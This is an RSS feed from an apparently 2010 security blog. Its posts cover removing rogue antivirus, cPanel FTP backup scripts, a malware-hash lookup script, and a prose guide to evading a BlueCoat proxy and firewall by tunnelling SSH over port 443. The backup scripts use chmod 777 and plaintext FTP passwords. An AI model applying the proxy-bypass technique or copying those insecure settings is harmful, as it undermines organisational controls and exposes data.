<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Digital Offensive</title>
	<atom:link href="http://www.digitaloffensive.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.digitaloffensive.com</link>
	<description>Take an offensive approach to Security know what your foes know!</description>
	<lastBuildDate>Sat, 06 Mar 2010 04:24:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" - maintenance_release="8.8.4" -->
		<copyright>2006-2007 </copyright>
		<managingEditor>genxweb@gmail.com (Digital Offensive)</managingEditor>
		<webMaster>genxweb@gmail.com (Digital Offensive)</webMaster>
		<category>posts</category>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
		<itunes:summary>Take an offensive approach to Security know what your foes know!</itunes:summary>
		<itunes:author>Digital Offensive</itunes:author>
		<itunes:category text="Society &amp; Culture"/>
		<itunes:owner>
			<itunes:name>Digital Offensive</itunes:name>
			<itunes:email>genxweb@gmail.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://digitaloffensive.com/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<image>
			<url>http://digitaloffensive.com/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
			<title>Digital Offensive</title>
			<link>http://www.digitaloffensive.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Vista Antivirus 2010 Quick removal</title>
		<link>http://www.digitaloffensive.com/2010/03/vista-antivirus-2010-quick-removal/</link>
		<comments>http://www.digitaloffensive.com/2010/03/vista-antivirus-2010-quick-removal/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 04:24:12 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=119</guid>
		<description><![CDATA[Vista Antivirus 2010 Quick removal
Vista 2010 is a rogue anti-virus program that is usually advertised through the use of pop ups and fake security alerts that state that your computer is infected and that you should run an online anti-malware scan. Once the rogue program is installed, it will claim to scan your computer for [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong><span style="text-decoration: underline;">Vista Antivirus 2010 Quick removal</span></strong></p>
<p>Vista 2010 is a rogue anti-virus program that is usually advertised through the use of pop ups and fake security alerts that state that your computer is infected and that you should run an online anti-malware scan. Once the rogue program is installed, it will claim to scan your computer for malware and display a list of false threats just to confirm that your computer is infected with malware (usually Trojans and computer worms). Then it will ask you to pay for a full version of the program in order to remove the threats which as we already know don&#8217;t even exist. Most importantly, don&#8217;t buy it. If you did, then please contact your credit card company and dispute the charges.</p>
<p>Though this piece of malicious code is extremely annoying it is also very easy to remove. I have put a kit together for quick download to remediate this issue. The kit includes a custom batch file called avkill that will loop looking for the process av.exe and kill it automatically. This will allow you to execute other tools to remove the virus. It also includes a registry fix to remove the changes it makes to the registry. The file is called fix.reg and contains the following information:</p>
<p>Windows Registry Editor Version 5.00</p>
<p>[-HKEY_CURRENT_USER\Software\Classes\.exe]</p>
<p>[-HKEY_CURRENT_USER\Software\Classes\secfile]</p>
<p>[-HKEY_CLASSES_ROOT\secfile]</p>
<p>[-HKEY_CLASSES_ROOT\.exe\shell\open\command]</p>
<p>[HKEY_CLASSES_ROOT\.exe]</p>
<p>@=&#8221;exefile&#8221;</p>
<p>&#8220;Content Type&#8221;=&#8221;application/x-msdownload&#8221;</p>
<p>To download the kit go to <a href="http://www.digitaloffensive.com/files/av2010.zip" target="_blank">http://www.digitaloffensive.com/files/av2010.zip</a></p>
<p>The first thing you need to do is to extract the kit and open the avkill executable. This will stop the av.exe process that is associated with this virus. Once that is running just minimize it and let it continue to run. Then either use regedit or just double click the fix.reg file to remove the virus from your registry and to stop it from restarting. Once this is done successfully you can now stop the avkill executable. This process will stop the virus from running. Once it is stopped we suggest you go to <a href="http://www.malwarebytes.org/">http://www.malwarebytes.org/</a> and download their free scanner to remove the actual malicious files from your system.</p>
<p>If you have any questions or concerns please feel free to contact me.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F03%2Fvista-antivirus-2010-quick-removal%2F&amp;linkname=Vista%20Antivirus%202010%20Quick%20removal"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/03/vista-antivirus-2010-quick-removal/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cpanel remote FTP backup script</title>
		<link>http://www.digitaloffensive.com/2010/02/cpanel-remote-ftp-backup-script/</link>
		<comments>http://www.digitaloffensive.com/2010/02/cpanel-remote-ftp-backup-script/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 15:17:09 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=117</guid>
		<description><![CDATA[Cpanel remote FTP backup script

Years ago I did web hosting as a side source of income. This led to me developing  a lot of Linux based scripts to help automate my daily sysadmin responsibilities. Our hosting company was  called ezhostingpro.com. Since then another party owns the domain but googling that and my name will lead [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong><span style="text-decoration: underline;">Cpanel remote FTP backup script</span></strong></p>
<p style="text-align: left;">
Years ago I did web hosting as a side source of income. This led to me developing  a lot of Linux based scripts to help automate my daily sysadmin responsibilities. Our hosting company was  called ezhostingpro.com. Since then another party owns the domain but googling that and my name will lead you to several of my scripts being hosted by other sites. I posting the code on my site as I am finding many people on http://www.getafreelancer.com using codes I post on this site to bid on projects and win them.</p>
<p>This script is in two parts. The first part creates the backup and the second part transfers the backup remotely. The first part of the script makes use of the built in backup commands in cpanel. The script needs minor changes to be used by resellers instead of dedicated server owners.</p>
<p style="text-align: left;"><span style="text-decoration: underline;"><strong>Script 1:</strong></span></p>
<p>#!/bin/bash</p>
<p>############################################<br />
## ##<br />
## EZHOSTINGPRO BACKUP FTP SCRIPT v1.0 ##<br />
## Created by Michael LaSalvia ##<br />
## http://www.digitaloffensive.com ##<br />
## 2/23/04 rev 1 ##<br />
############################################<br />
## 1. Create a file called cpbackup.txt in /root<br />
## 2. Place account names you wanted backup<br />
## 3. Save file in /root<br />
############ DO NOT EDIT BELOW #############<br />
cd /root<br />
for users in $(cat cpbackup.txt)<br />
do<br />
rm -rf /home/$users/cpmove-$users.tar.gz<br />
/scripts/pkgacct $users<br />
mv /home/cpmove-$users.tar.gz /home/$users/<br />
cd /home/$users<br />
chown $users.$users cpmove-$users.tar.gz<br />
chmod 777 cpmove-$users.tar.gz<br />
/home/$users/bkftp.sh<br />
cd /root<br />
done</p>
<p style="text-align: left;"><span style="text-decoration: underline;"><strong>Script 2:</strong></span> This script needs to beedited with the users ftp credentials and placed in the user home dir.</p>
<p>#!/bin/bash</p>
<p>##################################<br />
## EZHOSTINGPRO REMOTE BACKUP ##<br />
## created by: Michael LaSalvia ##<br />
##http://www.digitaloffensive.com##<br />
## DO NOT EDIT THIS FILE ##<br />
## Name this file bkftp.sh chmod 777 ##<br />
##################################</p>
<p>### VARIABLES ###</p>
<p>var_cpaneluser=’cpanel_user_goes_here’<br />
var_remote=’remote_server_goes_here’<br />
var_ftpuser=’remote_server_ftp_username_goes_here’<br />
var_ftppass=’remote_server_ftp_password_goes_here’</p>
<p>cd /home/$var_cpaneluser<br />
ftp -n $var_remote &lt;&lt;END_SCRIPT<br />
quote USER $var_ftpuser<br />
quote PASS $var_ftppass<br />
del cpmove-$var_cpaneluser.tar.gz<br />
put cpmove-$var_cpaneluser.tar.gz<br />
quit<br />
END_SCRIPT<br />
exit 0<br />
rm -Rf cpmove-$var_cpaneluser.tar.gz</p>
<p style="text-align: left;">I believe the newer cpanel system actually provides a built in method to do this, though since I do not have access to one to test I will post this any way. If you have any questions comments or concerns please feel free to contact me.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F02%2Fcpanel-remote-ftp-backup-script%2F&amp;linkname=Cpanel%20remote%20FTP%20backup%20script"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/02/cpanel-remote-ftp-backup-script/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Detecting Malware and other malicious files using md5 hashes</title>
		<link>http://www.digitaloffensive.com/2010/02/detecting-malware-and-other-malicious-files-using-md5-hashes/</link>
		<comments>http://www.digitaloffensive.com/2010/02/detecting-malware-and-other-malicious-files-using-md5-hashes/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 15:57:14 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=111</guid>
		<description><![CDATA[Detecting Malware and other malicious files using md5 hashes
The initial interest for this research came to me after reading an article on this on the site http://enclavesecurity.com/ . In the article they talk about using the malicious hashes to discover malware and other malicious files on their systems. They also take a deeper look into [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><span style="text-decoration: underline;"><strong>Detecting Malware and other malicious files using md5 hashes</strong></span></p>
<p>The initial interest for this research came to me after reading an article on this on the site <a href="http://enclavesecurity.com/">http://enclavesecurity.com/</a> . In the article they talk about using the malicious hashes to discover malware and other malicious files on their systems. They also take a deeper look into the recent APT and Auroa attacks on Google. Though the thing I found most interesting is trying to develop a way to automate this process for free and provide usable information.</p>
<p>The biggest thing to understand before continuing on is that this is not a fool proof process as a simple change of the file will change the hash of the file. For example if you have the c99.php shell and change the password or add a white space to the php this will change the hash of the file hence making detection via this method impossible. The other issue I have noticed in using this methodology is no one is willing to share all the information. Many companies will only share bits and pieces such as “The Malware Hash Registry” (http://www.team-cymru.org) considered the leading authority on this topic. They make part of their service available online to submit hashes to and get back the following information:</p>
<p>Ex:1: 7697561ccbbdd1661c25c86762117613 1258054790 NO_DATA</p>
<p>Ex:2: cbed16069043a0bf3c92fff9a99cccdc 1231802137 69</p>
<p>In example 1 you see the md5 hash then the epoch date and time then NO_Data meaning it could not tell if this hash is malicious.  In example 2 you see the same except instead of NO_data you see 69. This number means that 69% of the Antivirus vendors they used to check this file with found it to be malicious. This info is good but I find it to be not very helpful. It is nice to know that it was detected as malicious but is it truly malicious and if it is what type of malicious file is it, is it a backdoor, key logger or so on. I have emailed them asking if they could provide the detection type; with understanding that most of their system is private as they will not disclose the database or the vendors they use to scan the files. Though I have not heard back from them at this point.</p>
<p>This led me to searching the internet for other sites like this that provided additional information along with the hash. In this search I found one other site called <a href="http://malwarehash.com/">http://malwarehash.com</a> a sub site of the company <a href="http://www.novirusthanks.org/">NoVirusThanks.org</a>. They provide an online utility to submit your hash to and if it is discovered as malicious it will give you info back. See screen shot below:</p>
<p><a href="http://www.digitaloffensive.com/wp-content/uploads/2010/02/malwarehash.jpg"><img class="alignleft size-thumbnail wp-image-112" title="malwarehash" src="http://www.digitaloffensive.com/wp-content/uploads/2010/02/malwarehash-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>As you can see they provide an additional layer over what you get from the Malware Hash Registry. On top of that they use a simple PHP script for the query that makes scripting this so much easier:</p>
<p>http://www.malwarehash.com/result.php?hash=1E71DE2D6A89AA9796344BB7FA23AC7E</p>
<p>As you can see in the URL you have the site the script and the hash. The only issue with this site is that it seems they have not updated their database since 6/2009. I have contacted them as well to ask them about this and to see what their plans are for the site though I have not heard back from them either.</p>
<p>With this information in hand I set forth to develop a script that would allow me to automate this process as we have found this methodology to be helpful at work even if it is not 100% accurate as we notice that most malware will not get detected by our Anti virus so by using the hashes and relying on the internet community we are able to help our detection and remediation of malicious files.</p>
<p>To use this script you will need to have a Linux user account and some basic knowledge of Linux to set the variables properly. I wrote the script in bash for two reasons 1 it is a piece of cake to do and 2 so you be forced to move the malicious file off a windows environment where you stand a higher chance of infecting your self.  First access your shell and create a directory called what ever you want but in the code we used a directory called infect that is set in a variable for easy changing. Once you do that copy the malware-hash.sh script to 1 directory above the folder you just created. Then copy the sed script file to a file called clean in the directory that you created. Once you have done this chmod the malware-hash.sh script so you can execute it and chmod the clean script so the malware-hash.sh script can read it. Once done all you have to do now is copy the suspicious files to the directory you created and execute the script. The script will get a listing of all the files in that folder, remove the clean script, and any dupes from the listing and then get the md5 hash of each file. Once it gets the hashes it will create a batch file to be processed against The Malware Hash Registry and save the results in a clean human readable format. We use the batch function to stay with in the TOS of the site.  This includes adding the file names in front of the hash so you know what the hash belongs to. Next it will take the hashes and run them through the site Malwarehash.com. We use the &#8211;random-wait command with wget here to not act like a bot or script. If it gets a hit for a infection we will grab the site and scrape out the data we want then process it into a human readable report. Once all done we will combine the results of both checks and email the final results to the email address provided.</p>
<p>The script is written in bash and is highly documented:</p>
<p>The script is broken down into 2 sections the actual script and the sed script file.</p>
<p><span style="text-decoration: underline;"><strong>Part 1 the Script:</strong></span> Copy this script to a file with a .sh extension or download it here <a href="http://www.digitaloffensive.com/malware-hash.sh" target="_blank">http://www.digitaloffensive.com/malware-hash.sh</a> . I suggest downloading it as the word press system will definitely destroy the formatting of the code. Place this script 1 directory up from the directory that you are using for the infected files.</p>
<p>#!/bin/bash<br />
################################################<br />
## MALWARE HASH BASH                           ##<br />
## Written by Michael LaSalvia                  ##<br />
## http://www.digitaloffensive.com              ##<br />
## Inspired by an article at enclave Security ##<br />
################################################</p>
<p>#Variables and clean up<br />
#Edit in Path to dir that contains file for analysis<br />
inPath=/home/mike/virus/infect</p>
<p>#Path to your md5sum app to verify it is not compromised. I got the hash from a new install on fedora 12.<br />
wmd5sum=/usr/bin/md5sum</p>
<p>md5sum /usr/bin/md5sum &gt; .tmp<br />
mverify=`cut -f 1 -d &#8216; &#8216; .tmp`<br />
if [$mverify == 019329f334fa7ef6116ad1a24271c8da ] then<br />
echo &#8220;Your md5 hash matches&#8221;<br />
else<br />
echo &#8221; Your md5sum hash is not right, Please verify it before continuing. Press CTRL+C now to exit&#8221;<br />
fi<br />
rm -Rf .tmp<br />
# I strongly urge you to make sure your md5 application is not compromised or the rest of this script is useless.<br />
Sleep 20</p>
<p>#Get a list of file to analyze and get their hash<br />
ls $inPath &gt; files.txt<br />
for vfiles in $(cat files.txt)<br />
do<br />
cd $inPath<br />
md5sum $vfiles &gt;&gt; hashes<br />
sort hashes | uniq &gt; $inPath/hashes.txt<br />
done<br />
#Clean up my files<br />
cat $inPath/hashes.txt | grep -v hashes &gt;&gt; .tmp; mv .tmp $inPath/hashes.txt<br />
cat $inPath/hashes.txt | grep -v md5 &gt;&gt; .tmp; mv .tmp $inPath/hashes.txt<br />
cat $inPath/hashes.txt | grep -v clean &gt;&gt; .tmp; mv .tmp $inPath/hashes.txt</p>
<p>#Format file to submit to http://www.team-cymru.org as a batch<br />
cut -f 1 -d &#8216; &#8216; $inPath/hashes.txt &gt;&gt; $inPath/md5hash.txt<br />
cut -f 3 -d &#8216; &#8216; $inPath/hashes.txt &gt;&gt; $inPath/md5name.txt<br />
echo &#8220;begin&#8221;| cat &#8211; $inPath/md5hash.txt &gt; .tmp &amp;&amp; mv .tmp $inPath/md5hash.txt<br />
echo end &gt;&gt; $inPath/md5hash.txt<br />
rm -Rf $inPath/hashes.txt</p>
<p>#Send batch request o the Malware Hash Registry (I Love netcat)<br />
nc hash.cymru.com 43 &lt; $inPath/md5hash.txt &gt; $inPath/md5results.txt</p>
<p>#Clean up response and format it<br />
cat $inPath/md5results.txt | grep -v &#8220;#&#8221; &gt;&gt; .bk; mv .bk $inPath/md5results.txt<br />
paste $inPath/md5name.txt $inPath/md5results.txt &gt; $inPath/results.txt<br />
#cat $inPath/results.txt<br />
cat $inPath/md5hash.txt | grep -v &#8220;begin&#8221; &gt;&gt; .tmp; mv .tmp $inPath/md5hash.txt<br />
cat $inPath/md5hash.txt | grep -v &#8220;end&#8221; &gt;&gt; .tmp; mv .tmp $inPath/md5hash.txt</p>
<p>#Dirty web scraper and formating (site may be out of date)<br />
for whashes in $(cat $inPath/md5hash.txt)<br />
do<br />
wget &#8211;random-wait http://www.malwarehash.com/result.php?hash=$whashes -O $whashes<br />
if grep &#8220;INFECTED&#8221; $whashes &gt; /dev/null; then<br />
cat $whashes | grep -m 1 a-squared &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 &#8220;Avira AntiVir&#8221; &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 &#8220;Avast&lt;&#8221; &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 AVG &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 BitDefender &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 ClamAV &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 Comodo &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 &#8220;Dr.Web&#8221; &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 Ewido &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 F-PROT &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 &#8220;G DATA&#8221; &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 IkarusT3 &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 Kaspersky &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 McAfee &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 &#8220;Malware Hash Registry&#8221; &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 NOD32 &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 Norman &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 Panda &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 &#8220;QuickHeal&#8221; &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 &#8220;Solo Antivirus&#8221; &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 Sophos &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 TrendMicro &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 VBA32 &gt;&gt; $inPath/.tmp<br />
cat $whashes | grep -m 1 &#8220;VirusBuster&#8221; &gt;&gt; $inPath/.tmp<br />
#More Cleaning and report creation.<br />
sed -f $inPath/clean $inPath/.tmp &gt; $inPath/.tmp1; mv $inPath/.tmp1 $inPath/$whashes<br />
rm -Rf .tmp .tmp1<br />
echo &#8220;Results from MalwareHash.com&#8221; &gt;&gt; $inPath/final_report.txt<br />
echo &#8221; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8221; &gt;&gt; $inPath/final_report.txt<br />
echo &#8220;$whashes : &#8221; &gt;&gt; $inPath/final_report.txt<br />
echo &#8221; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8221; &gt;&gt; $inPath/final_report.txt<br />
cat $inPath/$whashes &gt;&gt; $inPath/final_report.txt<br />
echo &#8221; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8221; &gt;&gt; $inPath/final_report.txt<br />
else<br />
echo &#8220;Results from MalwareHash.com&#8221; &gt;&gt; $inPath/final_report.txt<br />
echo &#8220;NO RESULTS FOUND for: $whashes&#8221; &gt;&gt; $inPath/final_report.txt<br />
echo &#8221; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8221; &gt;&gt; $inPath/final_report.txt<br />
fi<br />
rm -Rf $inPath/$whashes<br />
rm -Rf $inPath/md5*<br />
rm -Rf $inPath/hashes<br />
done<br />
cat $inPath/results.txt | cat &#8211; $inPath/final_report.txt &gt; .tmp &amp;&amp; mv .tmp $inPath/final_report.txt<br />
echo &#8220;Results from The Malware Hash Registry&#8221; | cat &#8211; $inPath/final_report.txt &gt; .tmp &amp;&amp; mv .tmp $inPath/final_report.txt<br />
mail -s&#8221;Malware&#8221; me@me.com &lt; final_report.txt</p>
<p><strong><span style="text-decoration: underline;">Part 2 the sed script:</span></strong></p>
<p>Copy this code and put it in a file called clean located in the folder that has the files you want to analyze and chmod it so the script can read it.</p>
<p>s/&lt;tr&gt;&lt;th&gt;/AV Name:/<br />
s/&lt;tr&gt;&lt;th width=&#8221;150&#8243;&gt;/AV Name:/<br />
s/&lt;\/th&gt;&lt;td width=&#8221;83&#8243;&gt;/ Sig Version:/<br />
s/&lt;\/td&gt;&lt;td width=&#8221;100&#8243;&gt;/ Engine Version:/<br />
s/&lt;\/td&gt;&lt;td width=&#8221;116&#8243;&gt;/ Engine Version:/<br />
s/&lt;\/th&gt; &lt;td width=&#8221;83&#8243;&gt;/ Sig Version:/<br />
s/&lt;\/td&gt; &lt;td width=&#8221;116&#8243;&gt;/ Engine Version:/<br />
s/&lt;\/t&lt;td width=&#8221;213&#8243;&gt;&lt;font color=&#8221;#336600&#8243; size=&#8221;3&#8243;&gt;-/ Virus Name: Nothing Found/<br />
s/&lt;\/t&lt;td width=&#8221;213&#8243;&gt;&lt;font color=&#8221;#336600&#8243; size=&#8221;3&#8243;&gt;-/ Virus Name: Nothing Found/<br />
s/&lt;\/td&gt;&lt;td width=&#8221;213&#8243;&gt; &lt;font color=&#8221;#336600&#8243; size=&#8221;3&#8243;&gt;-/ Virus Name: Nothing Found/<br />
s/&lt;\/td&gt;&lt;td width=&#8221;213&#8243;&gt; &lt;font color=&#8221;#CC0000&#8243; size=&#8221;2&#8243;&gt;/ Virus Name: /<br />
s/&lt;\/td&gt;&lt;td width=&#8221;213&#8243;&gt;&lt;font color=&#8221;#CC0000&#8243; size=&#8221;2&#8243;&gt;/ Virus Name: /<br />
s/&lt;\/td&gt;&lt;td width=&#8221;190&#8243;&gt; &lt;font color=&#8221;#CC0000&#8243; size=&#8221;2&#8243;&gt;/ Virus Name: /<br />
s/&lt;\/td&gt; &lt;td width=&#8221;213&#8243;&gt; &lt;font color=&#8221;#336600&#8243; size=&#8221;3&#8243;&gt;-/ Virus Name: Nothing Found/<br />
s/&lt;\/td&gt; &lt;td width=&#8221;213&#8243;&gt; &lt;font color=&#8221;#CC0000&#8243; size=&#8221;2&#8243;&gt;/ Virus Name: /<br />
s/&lt;\/font&gt;&lt;\/td&gt;&lt;//<br />
s/\/tr&gt;//<br />
s/&lt;\/font&gt;&lt;\/t//<br />
s/&lt;\/font&gt; &lt;//<br />
s/&lt;\/font&gt;&lt;\/td&gt; &lt;\/tr//<br />
s/&gt; &lt;\/tr//<br />
s/d&gt;//</p>
<p>Though this methodology is a few years old there is many things that can be done with this. For example we are in the process of writing a tripwire type script that will allow web masters to monitor changes to their sites and to be able to quickly see what was added or modified as well as run it though the process above to search for infections / compromise</p>
<p>As always if you have any questions, comments or concerns please feel free to contact me.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F02%2Fdetecting-malware-and-other-malicious-files-using-md5-hashes%2F&amp;linkname=Detecting%20Malware%20and%20other%20malicious%20files%20using%20md5%20hashes"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/02/detecting-malware-and-other-malicious-files-using-md5-hashes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>BlueCoat Web Proxy Bypass</title>
		<link>http://www.digitaloffensive.com/2010/02/bluecoat-web-proxy-bypass/</link>
		<comments>http://www.digitaloffensive.com/2010/02/bluecoat-web-proxy-bypass/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 20:32:18 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=107</guid>
		<description><![CDATA[BlueCoat Web Proxy Bypass
Several months ago an organization I work for implemented BlueCoat Web Proxy but they did not purchase a SSL offload card (required for organizations of our size as a license alone would bog down the rest of the box) or a SSL License. This basically limited the ability for us to filter [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong><span style="text-decoration: underline;">BlueCoat Web Proxy Bypass</span></strong></p>
<p>Several months ago an organization I work for implemented BlueCoat Web Proxy but they did not purchase a SSL offload card (required for organizations of our size as a license alone would bog down the rest of the box) or a SSL License. This basically limited the ability for us to filter anything on port 443 unless we knew the IP to set in policy to block since the page was encrypted and we could not decrypt the packet to apply policy.</p>
<p>This limitation creates a security concern because it allows users to use secure protocols to bypass policies. For example most likely your organization has a policy that blocks you from going to internet based email such as Gmail, Yahoo and so on. Well thanks to Gmail for worrying about its user’s security and privacy we can now bypass the BlueCoat Web Proxy. If we go to <a href="https://mail.google.com/">https://mail.google.com</a> the BlueCoat Web proxy will not see that as a mail site as the URL will be translated to an IP and the packets are encrypted. The other benefit of Gmail is that it will not redirect you to any http it makes sure if you choose https it will not redirect you back to http unlike Yahoo, who redirects you from https at the login to http once you get sent to your mailbox. You can use this method for any https site that does not any time redirect you to http. Side note many sites are not as big as Google so blocking their IP range to stop you from bypassing the BlueCoat web proxy may be easier.</p>
<p>The next issue is since https is required by most companies to be able to carry out a normal work day there is most likely a firewall rule in the organization that reads as follows: source: BlueCoat Web Proxy IP &#8211;&gt; destination: Any &#8211;&gt; service: http and https.  This rule basically says anyone going out as the web proxy is allowed to any destination on either port 80 or 443. Since the BlueCoat does not act as application proxy meaning it does not analyze the protocols you can use open ports to tunnel any application over. For example since the BlueCoat our organization has (most schools and smaller shops don’t have this either) does not have a SSL offload card and a SSL license and port 443 is open I can take advantage of this to bypass security. For example I have altered my SSH daemon at home to listen on port 443 instead of the default port of 22. This allows me to circumvent both the Web Proxy and the Firewall. This happens for several reasons 1<sup>st</sup> because the BlueCoat web proxy cannot analyze the https request, 2<sup>nd</sup> the BlueCoat web proxy does not act as a application proxy and third since we are using port 443 and the proxy is configured to intercept port 443 our traffic is leaving the organization as that of the proxy hence making use of the firewall rule to allow us anywhere on the internet on that port.  Many applications that connect to the internet on certain ports can be configured to use whatever port you want. For example it is possible to configure your favorite instant messenger application such as AIM or Yahoo to make connections outbound over port 443 hence bypassing the controls put in place.</p>
<p>Now if you are an administrator of the BlueCoat you can detect people doing this slightly by reviewing the BlueCoat reporter logs. These connections will show as IP addresses and have the category TCP Tunnel. If you look at the IP addresses closely you can get an idea of what they are being used for. To do this you can use tools like arin.net or even Google to search for information related to that IP.  You can also check the employee’s machine for applications that are not installed by your organization. This is a manual process and may cost more man hours then it would cost to purchase a SSL License and if need be a SSL offload card.</p>
<p>This technique may be able to be used on other proxies though I have not tested it on any. As always if you have any comments or questions please feel free to contact me.</p>
<p><strong>Edit Note:</strong> I want to thank Tim C: For the update and clarification on the card name and required license.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F02%2Fbluecoat-web-proxy-bypass%2F&amp;linkname=BlueCoat%20Web%20Proxy%20Bypass"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/02/bluecoat-web-proxy-bypass/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Using your web server logs to find compromised web servers</title>
		<link>http://www.digitaloffensive.com/2010/01/using-your-web-server-logs-to-find-compromised-web-servers/</link>
		<comments>http://www.digitaloffensive.com/2010/01/using-your-web-server-logs-to-find-compromised-web-servers/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 20:51:59 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=105</guid>
		<description><![CDATA[Using your web server logs to find compromised web servers
Some people use Google and Google hacking Database to find their targets and others use their own servers to find potential compromised boxes.
In this quick little update I am going to give you a basic idea on how to use your web server’s access logs to [...]]]></description>
			<content:encoded><![CDATA[<p><span style="text-decoration: underline;"><strong>Using your web server logs to find compromised web servers</strong></span></p>
<p>Some people use Google and Google hacking Database to find their targets and others use their own servers to find potential compromised boxes.</p>
